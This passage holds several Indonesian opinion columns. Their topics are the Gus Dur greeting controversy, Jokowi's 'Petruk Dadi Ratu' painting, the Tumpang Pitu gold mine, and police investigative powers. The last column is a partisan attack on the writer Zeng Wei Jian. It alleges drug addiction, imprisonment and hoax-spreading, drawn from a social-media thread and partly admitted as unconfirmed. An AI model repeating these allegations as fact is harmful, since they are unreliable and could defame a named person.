dan Gus Dur mereka yakini akan membantah. Dan terbitlah edisi assalamu alaikum itu. Benar saja, masyarakat riuh. Gus Dur menuai kecaman. Oplah majalah terdongkrak. Dan Edy melanjutkan aksinya dengan mewawancarai kembali Gus Dur. Diharapkan Gus Dur akan membantah bahwa dia telah menganjurkan mengganti assalamu alaikum dengan selamat pagi. Tapi Edy amat terkejut ketika Gus Dur dengan enteng menjawab, buat apa membantah. “Biarin, gitu aja kok repot.” Konon pada saat itu oplah majalah Amanah naik. “Hanya saja terjadi fitnah di tengah masyarakat. Secara pribadi saya pernah minta Gus Dur berbuat sesuatu untuk menghentikan fitnah yang sebenarnya tidak perlu terjadi. Tapi dasar Gus Dur. Dia tetap pada pendirian akan membiarkan fitnah itu berhenti sendiri,” ujar Ahmad Tohari. Sayang fitnah itu ternyata berumur panjang. Bahkan sampai saat ini. “Gus Dur sendiri tetap berjiwa besar, tetap bersahabat, meskipun banyak yang terpaksa salah paham. Gus Dur tidak pernah mengusulkan mengganti assalamu alaikum dengan selamat pagi. Untuk hal ini saya akan menjadi saksi bagi Gus Dur,” demikian Tohari, dalam tulisannya berjudul “Kulo Nderek Gus Dur” yang dimuat Suara Merdeka, 2010 silam. Tiada tuhan selain Tuhan Sebelum Gus Dur, ada juga Dr. Nurcholish Madjid yang membuat gaduh karena makalahnya yang menulis kalimah thoyyibah “Laa ilaaha illallaah” diterjemahkan menjadi “tiada tuhan (t kecil) selain Tuhan (T besar). Terdengar unik karena berbeda dari pemaknaan umumnya “tiada Tuhan selain Allah”. Bagi Cak Nur, mengganti kata Allah dengan Tuhan adalah absah karena hanya masalah bahasa yang substansinya sama. Namun, terjemahan ini diprotes oleh seorang peserta seminar dengan menyebut terjemahan itu hukumnya haram. Seminar itu diselenggarakan Harian Pelita di Jakarta, 1 April 1985. Media memberitakannya. Selama setahun lebih hal itu menjadi polemik. Cak Nur juga pernah memunculkan jargon “Islam Yes, Partai Islam, No!” yang kemudian banyak disalahpahami, terutama oleh para aktivis partai Islam. Cak Nur dianggap anti-partai Islam. Pikiran-pikiran Yudian tentang salam Pancasila hanyalah kelanjutan dari apa yang sudah pernah dilontarkan tokoh-tokoh sebelumnya. Dan, lucunya, respon yang dihasilkan sama: gaduh. Penulis wartawan senior.

Presiden Jokowi dan Petruk Dadi Ratu

Oleh Hersubeno Arief Jakarta, FNN - Presiden Jokowi baru saja membeli sebuah lukisan menarik. Penuh simbol dan makna. Lukisan karya mantan tahanan politik Joko Pekik itu berjudul “Petruk Dadi Ratu. Semar Kusirnya.” Rencananya lukisan besar berukuran 5 X 2 meter itu akan di pasang di istana negara yang baru di Kalimantan Timur. Dalam artikel di majalah Tempo Edisi 22 Februari 2020 dengan judul “Lukisan Petruk Untuk Istana Baru” Joko Pekik mengaku lukisan itu dibeli dengan harga sangat mahal. Miliaran rupiah. Tapi tak dijelaskan berapa harga pastinya. Dalam lukisan mantan seniman Lekra (organisasi seniman onderbouw PKI) yang pernah lama mendekam di penjara itu, Petruk sedang menyalami kerumunan rakyat jelata yang mengelu-elukannya. Ada petani dan ibu-ibu yang menggendong anaknya. Di seberang mereka, dibatasi jalan yang membelah kerumunan, berdiri orang-orang berdasi dan berjas, juga deretan gedung yang menjulang. Di belakang Petruk, Semar terlihat mengemudikan kereta kencana. Kisah Petruk Dadi Ratu adalah salah satu episode yang sangat terkenal dalam dunia pewayangan. Ceritanya berupa pasemon, sindiran sekaligus nasehat tentang mengelola sebuah negara. Petruk adalah seorang raja yang memperoleh kekuasaannya secara tidak sah. Tidak diridhoi dan diberkahi para dewa. Akibatnya negara yang dipimpinnya kacau balau. Dia adalah seorang punakawan, abdi dalem anak Semar dengan kemampuan intelektual yang terbatas. Namun dia pandai melucu. Menghibur para tuannya. Bersama dua saudaranya Gareng dan Bagong, mereka bertugas mengocok perut para penonton yang sudah mulai mengantuk. Mereka biasanya muncul lewat tengah malam dalam babak Goro-goro. Para punakawan ini bercanda, sindir kiri kanan, kritik sana-sini. Semar akan tampil sebagai orang bijak. Dia memberi petuah tentang kehidupan, maupun berbangsa dan bernegara. Petruk digambarkan bertubuh tinggi kurus, dengan tampilan sangat bersahaja. Ciri khas lainnya, hidungnya sangat panjang. Tapi ini hidung asli. Beneran. Beda dengan Pinokio yang hanya memanjang kala dia berdusta. Alkisah, dalam episode Petruk Dadi Ratu disebutkan dia menggelapkan jimat Kalimasada yang dititipkan oleh seorang kesatria Bambang Priyambada kepadanya. Dia khianat dan menguasai jimat Kalimasada, dan menggunakannya untuk meraih kekuasaan. Dia menjadi raja dengan gelar Prabu Kantong Bolong Belgeduwelbeh Tongtongsot. Karena tidak punya kapasitas yang memadai dan memperoleh kekuasaan secara tidak sah, Petruk memerintah seenak udelnya. Dia mengangkat petinggi negara dari kalangan inner circle-nya tanpa memperdulikan kapasitas dan kemampuannya. Gareng dan Bagong diangkat menjadi petinggi istana. Tatanan dalam dunia pewayangan dia jungkir balikkan. Situasi negara kacau balau. Negara Amarta dan Astina yang secara tradisonal bermusuhan, bersatu padu. Mencoba mengalahkan Prabu Kantong Bolong. Semuanya kalah. Petruk punya kekuatan tak tertandingi, yakni jimat Kalimasada. Ada yang menafsirkan jimat itu adalah dua kalimat sahadat dalam lafal Jawa. Hal ini tampaknya erat kaitannya dengan strategi dakwah para Wali yang menggunakan medium pewayangan. Akhirnya Prabu Belgeduwelbeh dapat dikalahkan oleh Semar yang menyamar menjadi salah satu petingginya. Rahasianya terbongkar. Dia kembali menjadi rakyat jelata, punakawan yang kerjanya tukang melucu. Tatanan dunia pewayangan kembali tata tentrem setelah jimat dan singgasana kerajaan dikembalikan kepada yang berhak. Tafsir yang berbeda Dalam tafsir Joko Pekik seperti dilansir Tempo, ceritanya agak berbeda. Menurut Pekik, karyanya menggambarkan Dewa Semar yang memegang kendali bangsa Indonesia pasca-reformasi. Sedangkan Petruk didapuk sebagai pelaksana pemerintahan. “Sekarang Dewa Semar mengendalikan kereta kencana karena Petruk jadi ratu,” ujar. Kisah Petruk Dadi Ratu memang bukan cerita pewayangan biasa. Banyak menjadi kajian sejumlah peneliti kebudayaan Jawa. Sejumlah Indonesianis seperti Ben Anderson, bahkan Denys Lombard pernah mengkaji dan menuliskannya. Cerita ini juga sering digunakan untuk menyindir penguasa yang diaggap lalim. Sebagai presiden yang tengah berkuasa, pasti Jokowi tidak punya niat untuk menyindir atau mengkritik diri sendiri . Lukisan ini tampaknya dimaksudkan Jokowi sebagai pengenget (pengingat) bagi dirinya dan tentu saja bagi para presiden penggantinya kelak. Itu juga kalau benar lukisan jadi di pasang di istana negara yang baru. Dengan catatan istananya ada, dan ibukota barunya jadi dibangun. End Penulis wartawan senior. Foto: Sketsa Umar Khayam

Gubernur Menjawab (1): Tumpang Pitu Perlu Penyelesaian Strategis!

Oleh Mochamad Toha Jakarta, FNN - Senin, 24 Februari 2020 pukul 11:25, saya kirim tulisan berjudul “Sebaiknya Aktivitas Tambang Emas Tumpang Pitu Dihentikan!” ke Gubernur Jawa Timur Hj. Khofifah Indar Parawansa. Selang sekitar 3 menit kemudian, mantan Menteri Sosial ini langsung menjawab singkat via WA: “Cek undang- undangnya....pasal yg dilanggar apa shg hrs dihentikan....”. Saya jawab: “Siyap, Bunda! Tks petunjuknya. Sy akan coba cari tahu kpd teman lawyer”. “Mereka tahu sekali,” jawab gubernur yang akrab dipanggil Bunda ini menjawab WA saya lagi. Saya jawab: “Saya juga sedang riset tulisan terkait dg usaha pertambangan yang diduga melanggar UU, Bunda. Stlh itu baru menulis lagi. Tks arahannya”. Secara pribadi, saya mengapresiasi Gubernur Khofifah yang berkenan jawab forward tulisan saya itu. Dan, sesuai “janji” saya, segera saya carikan jawaban untuk menjawab “tantangan” dari alumni Universitas Airlangga Surabaya ini. Berikut catatannya. Dalam Peraturan Menteri Kelautan dan Perikanan (Permen KKP) Nomor 23 Tahun 2016 tentang Perencanaan Pengelolaan Wilayah Pesisir dan Pulau-Pulau Kecil, Pasal 18 ayat (1) berbunyi: “Wilayah perencanaan RZWP-3-K meliputi: a. Kearah darat mencakup wilayah administrasi kecamatan; …” dan Kecamatan Pesanggaran sendiri terletak di ujung selatan Kabupaten Banyuwangi, sehingga wilayah tersebut mesti mematuhi Peraturan Daerah (Perda) No. 1 Tahun 2018 tentang Rencana Zonasi Wilayah Pesisir dan Pulau Pulau Kecil (RZWP-3-K) Jatim. PT. Bumi Suksesindo (BSI) dan PT. Damai Suksesindo (DSI) diduga melanggar Perda No.1 Tahun 2018 itu, karena dalam aturan tersebut, alokasi ruang untuk pemanfaatan wilayah pesisir Kabupaten Banyuwangi, terutama Kecamatan Pesanggaran, tidak dialokasikan untuk zona pertambangan. Tetapi untuk zona pelabuhan perikanan, zona pariwisata dan zona migrasi biota. Sementara yang ditemukan di lapangan terdapat Pelabuhan Candrian yang digunakan untuk kegiatan pertambangan seperti menurunkan alat-alat berat. Keberadaan PT. BSI dan DSI di wilayah tersebut juga diduga melanggar Pasal 40 ayat (3) UU No. 24 Tahun 2007 tentang Penanggulangan Bencana yang berbunyi: “Setiap kegiatan pembangunan yang mempunyai risiko tinggi yang menimbulkan bencana dilengkapi dengan analisis risiko bencana sebagai bagian dari usaha penanggulangan bencana sesuai dengan kewenangannya". Sementara dalam penjelasannya disebutkan, “Yang dimaksud dengan kegiatan pembangunan yang mempunyai risiko tinggi menimbulkan bencana adalah kegiatan pembangunan yang memungkinkan terjadinya bencana, antara lain pengeboran minyak bumi, pembuatan senjata nuklir, pembuangan limbah, eksplorasi tambang, dan pembabatan hutan”. Sedangkan aktivitas pertambangan yang dilakukan oleh PT. BSI dan DSI – meskipun telah melalui proses studi AMDAL – tidak memiliki analisis risiko bencana. Gunung Tumpang Pitu adalah ‘tetenger’ (penanda) bagi nelayan saat melaut. Setiap pagi, ketika mereka berada di laut lepas, titik yang mereka cari untuk menentukan arah adalah Pulau Nusa Barong di sebelah Barat, Gunung Agung (Bali) di sebelah Timur dan Gunung Tumpang Pitu di tengah-tengahnya. ‘ Maka jika Gunung Tumpang Pitu dan gunung-gunung lainnya menghilang, bisa dipastikan mereka akan kehilangan salah satu tetenger daratan yang menjadi acuan arah. Bagi warga di pesisir selatan Banyuwangi, Gunung Tumpang Pitu, Gunung Salakan, dan gunung-gunung di sekitarnya adalah benteng alami dari daya rusak gelombang tsunami. Sebagaimana pernah dicatat, pada 1994, gelombang tsunami menyapu kawasan pesisir selatan Banyuwangi dan merenggut nyawa sedikitnya 200 orang. Bagi warga, saat itu keberadaan Gunung Tumpang Pitu dan gunung-gunung sekitarnya, dikatakan mampu meminimalisasi jumlah angka korban. Sehingga bisa dipastikan jika gunung-gunung tersebut menghilang, maka potensi ancaman jumlah korban yang lebih banyak akan terjadi pada masa mendatang. Bagi nelayan-nelayan yang tinggal di pesisir teluk Pancer, Gunung Tumpang Pitu adalah benteng dari ancaman angin Tenggara yang terkenal ganas pada musim-musim tertentu. Sedangkan Gunung Salakan bagi mereka difungsikan sebagai jalur evakuasi jika tsunami melanda. Gunung-gunung di pesisir selatan Banyuwangi tak hanya berfungsi sebagai kawasan resapan air yang dibutuhkan bagi rumah tangga warga dan pertanian, tetapi juga secara turun-temurun telah menjadi tempat bagi warga (khususnya perempuan) untuk mencari tumbuh-tumbuhan obat. Sejak masuknya PT BSI dan PT DSI di Desa Sumberagung, berbagai masalah sosial-ekologis dan keselamatan ruang hidup masyarakat meningkat. Salah satunya adalah bencana lumpur yang terjadi pada Agustus 2016 silam. Selain telah merusak sebagian besar kawasan pertanian warga, bencana lumpur tersebut juga membuat kawasan pesisir pantai Pulau Merah (Desa Sumberagung) dan sekitarnya berada dalam kondisi yang sangat mengenaskan. Bahkan karena kerusakan tersebut ditemukan sejumlah fakta bahwa beberapa jenis kerang, ikan dan beberapa biota laut lainnya mulai menghilang dari pesisir desa Sumberagung dan sekitarnya. Sejumlah kelompok binatang seperti monyet dan kijang juga mulai turun memasuki lahan pertanian warga karena rusaknya habitat mereka. Dan beberapa sumur milik warga mulai mengalami kekeringan diduga karena penurunan kualitas lingkungan. Hal ini belum ditambahkan lagi dengan sejumlah peningkatan pencemaran dan polusi tanah, udara, suara yang juga cukup signifikan. Sementara itu, pada 10 Februari 2020, ditemukan dua bangkai penyu yang terdampar di pesisir Pantai Pulau Merah dan diduga disebabkan oleh aktivitas pertambangan di Gunung Tumpang Pitu. Berdasarkan keadaan-keadaan tersebut, PT BSI diduga melanggar UU 32/2009 pasal 69 ayat 1 huruf (a) yang melarang “setiap perbuatan yang mengakibatkan pencemaran dan/atau perusakan lingkungan hidup”. Selain itu, pada 2017, telah terjadi kasus kriminalisasi terhadap pejuang lingkungan Budi Pego. Budi Pego dituduh menyebarkan paham komunis ketika ia sedang melakukan aksi untuk mempertahankan ruang hidupnya. Pada Januari 2020, upaya kriminalisasi kembali terjadi; Agus, salah seorang warga yang menolak aktivitas pertambangan PT BSI dan DSI ditangkap dengan sewenang-wenang – tanpa diperiksa/dipanggil terlebih dahulu. Dengan tuduhan penganiayaan terhadap salah seorang pekerja PT BSI ketika Agus dan rekan-rekannya tengah melakukan aksi untuk mempertahankan ruang hidupnya dengan menghadang upaya perusahaan untuk memasuki wilayah Gunung Salakan dan sekitarnya guna melakukan penelitian geolistrik. Dua hal tersebut bertentangan dengan UU 32/2009 pasal 66 yang berbunyi, “Setiap orang yang memperjuangkan hak atas lingkungan hidup yang baik dan sehat tidak dapat dituntut secara pidana maupun digugat secara perdata”. Mengingat poin itu semua, PT BSI dan PT DSI juga diduga telah melanggar UU 27/2007 jo UU 1/2014 tentang Pengelolaan Wilayah Pesisir dan Pulau-Pulau Kecil Pasal 35 huruf (k) yang melarang: “Melakukan penambangan mineral pada wilayah yang apabila secara teknis dan/atau ekologis dan/atau sosial dan/atau budaya menimbulkan kerusakan lingkungan dan/atau pencemaran lingkungan dan/atau merugikan masyarakat sekitarnya”. Karena aksi blokade, aksi tenda warga, dan aksi kayuh sepeda dari Banyuwangi-Surabaya, juga aksi mogok makan di depan Kantor Gubernur Jatim, tidak juga mendapat tanggapan dari Gubernur Khofofah, maka aksi pun dilanjut dengan aksi kirim SMS massal. Inti isi SMS massal tersebut adalah mendesak Gubernur Khofifah untuk mencabut IUP Operasi Eksploitasi BSI dan IUP Eksplorasi DSI. Dari laporan beberapa warga, jawaban dari Gubernur Jatim: kewenangan pencabutan izin tambang yang dimaksud ada di pemerintah pusat. Gubernur Khofifah menilai tuntutan yang ada dalam SMS massal itu salah alamat. “Khofifah beranggapan bahwa pemberian izin serta kewenangan pencabutan bukan berada pada kewenangannya,” ungkap Advokat Subagyo, SH yang selama ini mendampingi warga yang menuntut pencabutan perizinan itu. (Bersambung) Penulis wartawan senior.

Mahfud MD Ngawur Soal Hapus Penyidikan di Polsek

By Kisman Latumakulita Jakarta FNN- Menteri Kordinator Politik Hukum dan Keamanan (Menkopolhukam) Mahfud MD mengusulkan agar Kepolisian Sektor (Polsek) tidak lagi diberi wewenang melakukan penyelidikan dan penyidikan. Polsek cukup ditugaskan mengemban dan meningkatkan fungsi pengayoman kepada masyarakat. Sedangkan fungsi penyelidikan dan penyidikan dipusatkan di Polres. Polsek bisa lebih difungsikan untuk meningkatkan penjagaan keamanan dan ketertiban masyarakat. Konsepnya, melalui keadilan restoratif yang melibatkan masyarakat, korban serta pelaku kejahatan. Alasannya, polisi harus meningkatkan restorative justice. “Jangan sedikit-sedikit KUHP dan KUHP, “ujar Mahfud usai ketemu Presiden Jokowi, Rabu minggu lalu (iNews.id 19/02/2020). Mahfud beralasan, dia mendapat informasi bahwa Polsek-Polsek sering dibebani target penanganan perkara pidana. Akibatnya, Polsek sering menggunakan pasal-pasal pidana, dibandingkan dengan melakukan pendekatan keadilan restoratif. Padahal dengan hanya fokus pada fungsi pengayoman masyarakat, Polsek-Polsek tidak lagi perlu mencari-cari perkara. Negara Kepulauan Mungkin saja Mahfud MD lupa, atau tidak mengerti bahwa Indonesia ini negara kepulauan. Bukan negara daratan seperti Kanada atau Eropa. Jumlah pulaunya juga tidak sedikit. Berdasarkan pemetaan yang dilakukan oleh Pusat Survei dan Pemetaan (Pussurta) ABRI tahun 1987, tercatat Indonesia memiliki 17.503 pulau besar dan kecil. Tahun 2002, kajian citra satelit mengoreksi angka 17.503 pulau yang dipunyai Indonesia. Angka terbaru yang dirilis Pussurta ABRI adalah 18.306 pulau. Dari jumlah tersebut, sekitar 6.000 pulau lebih yang dihuni oleh masyarakat. Sisanya sekitar 11.000 pulau lebih belum berpenghuni. Dengan posisi kita sebagai negara kepualuan, masyarakat yang menghuni pulau-pulau tersebut terbilang tidak sedikit. Untuk itu, gagasan Mahdud MD untuk menghapus fungsi penyelidikan dan penyidikan di Polsek, terkesan ngawur dan asal ngomong. Terlihat Menkopolhukam tidak mengerti persoalan. Mahfud juga tidak memhami posisi kita sebagai negara kepulauan. Dengan posisi kita sebagai negara kepulauan, justru Polseklah yang seharusnya lebih diberdayakan. Fungsi penyelidikan dan penyidikan agar diperbanyak di Polsek. Bukan malah di Polres. Tujuannya, agar tugas-tugas penyelidikan dan penyidikan dapat belangsung secara cepat, efektif, efisien dan murah. Alasan pembenarannya, karena mudah dan murah untuk dijangkau oleh masyarakat. Mahfud jangan samakan Indonesia dengan daratan di Pulau Jawa dan Pulau Sumatera. Polsek di Jawa dan Sumatera itu umumnya bisa dijangkau melalui jalan darat atau menggunakan kereta api. Namun untuk Maluku, Maluku Utara, Sulewesi Utara, Kepaluan Riau, Nusa Tenggara Barat dan Bangka Belitung, sebagian besar melalui laut. Daerah-daerah tersebut mempunyai pulau ratusan, bahkan ada yang ribuan pulau. Sangat susah untuk dijangkau melalui jalan darat. Begitu juga dengan sebagian besar masyarakat di pedalaman di Papua dan Papua Barat. Daerahnya bergunung-gunung. Untuk bisa sampai ke Kota Kabupaten, karena Polresnya berada di Kota Kabupaten, dibutuhkan pejalanan darat 3-5 hari. Tidak ada sarana transportasi melalui darat, baik dengan menggunakan angkutan umum mobil maupun kereta api. Pesawat hanya dari Kota Kabupaten ke Kota Kabupaten yang lain, atau ke Kota Provinsi. Begitu juga dengan Maluku. Pulaunya ada lebih dari seribu. Makanya Maluku terkenal dengan sebutan “Daerah Seribu Pulau”. Sama dengan Maluku Utara, yang jumlah pulaunya hampir sama dengan Maluku. Dengan kondisi ombak yang tingginya 2-3 meter, dan jarak tempuh perjalan melalui laut antara 3-6 jam. Apa tidak menyiksa dan menyusahkan masayarakat tuh Pak Menkopolhukam? Kalau di pulau tersebut masih ada Polsek, untuk apa penyelidikan dan penyidikan harus dipindahkan Polres yang berada di Kota Kabupaten atau Kotamadya? Berapa biaya dan waktu yang harus dihabiskan untuk memenuhi panggilan penyidik Polres. Apa Pak Mahfud mau mengganti biaya perjalanan, dan waktu yang terbuang percuma akibat tidak bisa pergi ke kebun atau melaut? Kalaupun mereka itu masyarakat pantai, yang sudah terbiasa dengan ombak besar, apa tidak sebaiknya waktu mereka digunakan untuk mencari nafkah dengan meluat? Tampaknya sangat dangkal gagasan yang disampaikan Pak Mahfud kepada Presiden Jokowi untuk meniadakan penyelidikan dan penyidikan di Polsek-Polsek. Selian itu tampak juga Pak Mahfud tidak tidak mengerti persoalan. Meskipun Menkopolhukam secara ex officio adalah Ketua Komisi Kepolisian Nasional (Kompolnas), namun sebaiknya jangan ngomonglah. Dibuat dulu kajian secara menyeluruh dari berbagai aspek dan sudut pandang, barulah disampaikan kepada presiden. Bukan jaminan Pak Mahfud sudah memahami semua persoalan bidang tugas yang berada di bawah kordinasi Menkopolhukam. Polsek Yang Diperkuat Sampai sekarang, pemerintah pusat sudah mengucurkan hampir Rp 300 trliun untuk Dana Desa. Dengan anggaran di desa sebesar itu, maka yang perlu diperkuat adalah Polsek. Bukan Polres yang diperkuat. Sebagian besar anggaran penyidikan harus dialokasikan ke Polsek. Penyidik polisi yang hebat-hebat di Polda dan Polres diarahkan untuk memperkuat Polsek. Mereka agar dipindahkan ke Polsek. Konsekwensinya, polisi yang bertugas di Polsek, terutama Polsek yang jauh dari Kota Provinsi dan Kota Kabupaten harus diberikan penghargaan, dibandingkan yang bertugas di Polda dan Polres. Misalnya, diutamakan dalam setiap promosi jabatan. Selian itu, didahulukan untuk mengikuti pendidikan di Perguruan Tinggi Ilmu Kepolisian (PTIK) dan Sekolah Inpektur Polisi (SIP). Bukan malah mendahulukan anggota polisi yang bertugas di Polda dan Polres. Tujuannya, untuk mendorong setiap anggota polisi untuk mau bertugas di Polsek. Setiap 50 orang lulusan terbaik dari setiap tingkatan pendidikan yang di bawah PTIK, perlu disebarkan ke Polsek-Polsek. Selain itu, untuk jangka panjang, perlu dipikirkan agar urusan yang berkaitan dengan Surat Izin Mengemudi (SIM), perpanjangan Surat Tanda Nomor Kendaraan (STNK) dan Surat Keterangan Catatan Kepolisian (SKCK) cukup hanya dikeluarkan oleh Polsek. Masyarakat tidak perlu jauh-jauh datang ke Kota Provinsi dan Kota Kabupaten hanya untuk mengurus SIM, parpanjangan STNK dan urus SKCK. Penulis adalah Wartawan Senior

Zeng Wie Jian, Dengan Asyari Usman Saja Anda Kalah Jam Terbang!

Oleh Mochamad Toha Jakarta, FNN - Kalah Jam Terbang? Asyari Usman sudah menjadi wartawan cetak Harian Sinar Indonesia Baru di Medan (1982 hingga 1988). Sedangkan, Zeng Wei Jian alias Ken Ken sendiri baru menjadi wartawan Majalah d'FISH (2003/2004). Dari sisi pendidikan, Zeng adalah lulusan kursus jurnalisme sastrawi Yayasan Pantau & Eka Tjipta Found. Sedangkan Bang AU itu alumni Komunikasi FISIP Universitas Sumatera Utara (USU). Itulah bedanya Anda dengan Bang AU, Zeng! Bang AU itu belajar jurnalistik sejak SMA. Melanjutkan pendidikannya di USU Medan. Lalu, menjadi wartawan cetak di Medan, Harian Sinar Indonesia Baru (SIB) antara 1982 hingga 1988. Menangani berita-berita internasional dan menulis kolom editorial. Pada 1987, Asyari Usman terpilih sebagai pemenang lomba tulis wartawan internasional yang diselenggarakan oleh United Nations Correspondent Association (UNCA). Pemenang untuk kawasan Asia-Pasifik. Sebagai hadiahnya, alumni Komunikasi FISIP USU ini diberi kesempatan untuk magang di markas besar Perserikatan Bangsa-Bangsa (PBB) di New York City (NYC). Di mabes PBB, banyak belajar tentang cara kerja badan dunia itu. Di NYC, Bang AU berkesempatan meliput langsung sidang tahunan Majelis Umum (General Assembly) PBB. Juga meliput berbagai sidang Dewan Keamanan (Security Council). Ia melanjutkan perjalanan jurnalistik ke beberapa kota di Kanada, termasuk Ottawa, Montreal, dan Toronto. Dari Kanada, persinggahan berikutnya adalah Inggris. Sewaktu berkunjung ke markas BBC World Service di London, Asyari Usman ditawari bekerja di Siaran Indonesia. Dimulai sejak Juli 1988, Bang AU mengakhiri tugas sebagai wartawan dan penyiar radio BBC Indonesia hingga menjelang akhir 2011. Sekembali di Indonesia, Asyari mencoba profesi lain. Memulai beberapa usaha. Dia kembali ke dunia tulis-menulis menjelang Pilkada DKI 2017 hingga hari ini. Dalam menulis, kepada siapa saja, isinya selalu kritis. Narasi tulisannya pun mudah dicerna. Setiap tulisannya itu berdasarkan data dan fakta lapangan, bukan hoax, bukan pula abal-abal! Jadi, kalau pun Zeng Wei Jian melabeli Bang AU dengan sebutan penulis “abal-abalan” itu sangat jauh dari kenyataan. Yang dia tulis itu adalah fakta nyata! Dalam menulis pun, Bang AU selalu objektif dalam melihat suatu peristiwa. Tidak subjektif membabi-buta dalam “membela” suatu kelompok atau tokoh tertentu. Dia menulis didasari oleh nuraninya, bukan oleh nafsunya! Bagaimana dengan Anda, Zeng? Sebagian catatan tentang Zeng Wei Jian alias Ken Ken itu ditulis di Chirpstory.com, Selasa (28/11/2017 21:12:13 WIB). Sejauh ini tidak ada bantahan atau klarifikasi dari Zeng sendiri terkait dengan isi tulisannya. Nama Zeng sebelumnya tidak begitu dikenal jika pada 2015 tidak “menyerang” Joko Widodo dan Basuki Tjahaja Purnama alias Ahok melalui Facebook yang kemudian diviralkan via WA oleh pendukung Jokowi-Ahok. Pokoknya Anti Jokowi-Ahok. Zeng, disebut-sebut sebagai Ketua III Pengurus Pusat Himpunan Mahasiswa Budhist Indonesia / HIKMAHBUDI (2001); Pendiri Komunitas Tionghoa Anti Korupsi (KOMTAK) (2006/2007) bersama Pdt. Nathan Setiabudi, Lius Sungkarisma, Eddie Kusuma, dll. Ia pernah menjadi Wakil Sekjen DPP Partai Demokrasi Perjuangan Rakyat (PDPR) (2003); Bapilu DPD PDIP Jakarta (2004); Deklarator Relawan Perjuangan Demokrasi (REPDEM), Jakarta Selatan; Pendiri Confusian Centre (2002); Zeng itu pendiri PROUT (Progressive Utilisation Theory) Discussion Forum, Jakarta (1999); Koordinator Interbuddy (International Buddhist Youth) Asia Pacific Region (2000); Head of Political Department, Centre for Democracy and Transparancy (CDT31); Researcher SINERGY Indonesia (2005/2006); Ketua Forum Multikulturalisme Indonesia (2003-2007); Sukarelawan AMURT (Ananda Marga Unit Relief Team) (1998-2004); Zeng pernah menjadi Wartawan Majalah d'FISH (2003/2004); Zeng lulusan kursus jurnalisme sastrawi Yayasan Pantau & Eka Tjipta Found; Assistant Manager CV. Primacolour Printing (Adidas & Nike Major Printing) (2010-2013); Sales Manager PT. Benteng Multi Indotama/Indoscreen, Jakarta (2013); Owner CV. Tantra PITH: 2013 – kini; Pada 2006-2008 Zeng Wei Jian aktif di Milis Budaya Tionghoa id-nya extrim_bluesky. Dulu Zeng juga dikenal Anti Pribumi. Dia itu Pasukan Pembela China. Ini bisa lihat di arsip milis mail-archive.com/search?q=kenke… Pokoknya kalau ada Front Pembela China, dipastikan Zeng Wei Jian jadi Ketuanya. Saking belagunya dia, akhirnya pengurus milis Budaya Tionghoa Memberi Peringatan Keras Atas Kelakuannya. mail-archive.com/budaya_tionghu… Pada 2008 dia masuk Center For Democracy and Transparency (CDT) dan baru ketemu Ahok. Begitu melihat kemampuan Ahok, Zeng Wei Jian terkesima. Kaget ada orang China hebat gini pikirnya. Dan, mulailah Zeng Wei Jian cari muka sama Ahok. Karena Zeng jago nulis. Dia bikin blog tulisannya puji-puji Ahok. Tapi, sayang blognya sudah ditutup oleh dia karena kecewa sama Ahok. Disebutkan, dulu nama blog-nya zengweijian.blogspot.com, tapi sekarang sudah ditutup oleh Zeng. Pokoknya isinya puja-puji kinerja Ahok sejak Bupati Belitung sampai Anggota DPR. Konon, pada 2012 Zeng Wei Jian katanya sempat bantu-bantu Kampanye Pilgub DKI Jakarta menjadi relawan darat (kata Zeng yang belum terkonfirmasi), pokoknya Dukung Ahok 100%. Karena mentang-mentang dekat dengan orang-orang kuat, duit banyak. Dan, akhirnya Zeng Wei Jian mulai menggunakan Narkoba (Sabu). Entah bagaimana awalnya Zeng pakainya. Tapi, yang jelas pada 2013-an Zeng sudah jadi pecandu. Sampai pada akhir 2013-an, Zeng tertangkap lagi pesta narkoba di Kampung Ambon, Jakarta Barat. Mungkin bagi Zeng, dipikir punya kenalan banyak pejabat bisa lolos dari jeratan hukumnya. Ternyata para beking pejabat tak ada yang mau menolongnya. Beberapa kali hubungi Ahok minta jaminan agar dibebaskan. Sambil ungkap jasa-jasa dia bantu Ahok. Rupanya, Zeng salah orang. Ahok kalau sama orang pamrih malah dibiarkan. Menurut Ahok juga, Zeng sok-sokan, pokoknya ngaco abis lah, ada beberapa kali ketahuan mainin proyek. Sampai hujan berkelir juga tak bakal dibantu Ahok untuk jeratan hukum. Zeng ngadu ke Ahok dengan alasan dijebak polisi. Ahok tanya lagi, elo ketangkep di mana? Dijawab, Kampung Ambon. Yaelah itu mah bukan dijebak, emang elo pemadat.. elo urus sendiri, gue gak mau bantu. Begitu kira-kira kata Ahok. Dari sinilah dendam ke Ahok dimulai. Singkat cerita Zeng, akhirnya menginap di hotel prodeo chapter Salemba selama 2 tahun. Pada 2015 Zeng bebas dan mulai balas dendam ke Ahok. Setelah bebas, mulailah Zeng bikin propaganda Anti Ahok di Facebook atau tulisan Anti Ahok via WA. Kasus yang paling viral adalah kasus @amaliaayuningts Teman Ahok yang dibilang orang Kristen nyamar pakai Jilbab. Dengan sotoynya Zeng search FB cari yang namanya Amalia tanpa Hijab. Yang jelas-jelas beda orang. Fitnah seorang Zeng memang dahsyat. Sampai-sampai isteri Amalia yang tak berhijab klarifikasi. Hasil hoax pertama Zeng yang viral ini, sampai teman kecil @amaliaayuningts gemes sama kelakuan Zeng. Pokoknya hoax tentang Ahok diproduksi terus. Pokoknya, saat Pilkada Jakarta 2017 Zeng Wei Jian produktif hampir setiap hari tulisan Hoax Anti Ahok & Jokowi beredar di WA. Ternyata, dari 10 tulisan Zeng Wei Jian tentang Ahok 15-nya Hoax. Zeng Wei Jian akhirnya diinterview oleh Gubernur @aniesbaswedan di Balaikota. Mudah-mudahan masuk TGUPP. Lumayan gaji Rp 27 juta/bulan. Ketika diinterview di Balaikota, Zeng menulis status @geloraco: Zeng Wei Jian Kaget. Ternyata Ada Ruang Tidur di Kantor Gubernur Zaman Lama. Sekarang sudah dibongkar Anies. Padahal, ruang tidur itu sudah ada sejak lama. Ahok juga sudah cerita ke berbagai media. Oleh Gubernur Anies, ruang tidur beneran dibongkar dan djadikan War Room. Perlu dicatat juga, kalau @Fahrihamzah cuma 1 TV besar. Anies pakai 2 TV besar. Zeng tidak tahu fakta bahwa Gubernur @aniesbaswedan merupakan satu-satunya gubernur yang punya War Room. Jadi, semua akun sosmed yang kritik dia dipantau. War Room sang Gubernur Anies bener-benar steril. PNS saja tak bisa bebas keluar masuk. Yang bebas keluar masuk cuma tukang angkut TV. Itulah sebagian fakta sisi lain terkait Zeng. Sekarang ini silakan menilai sendiri, Anda Pembaca Budiman, lebih percaya Zeng Wei Jian atau Asyari Usman! Penulis wartawan senior.

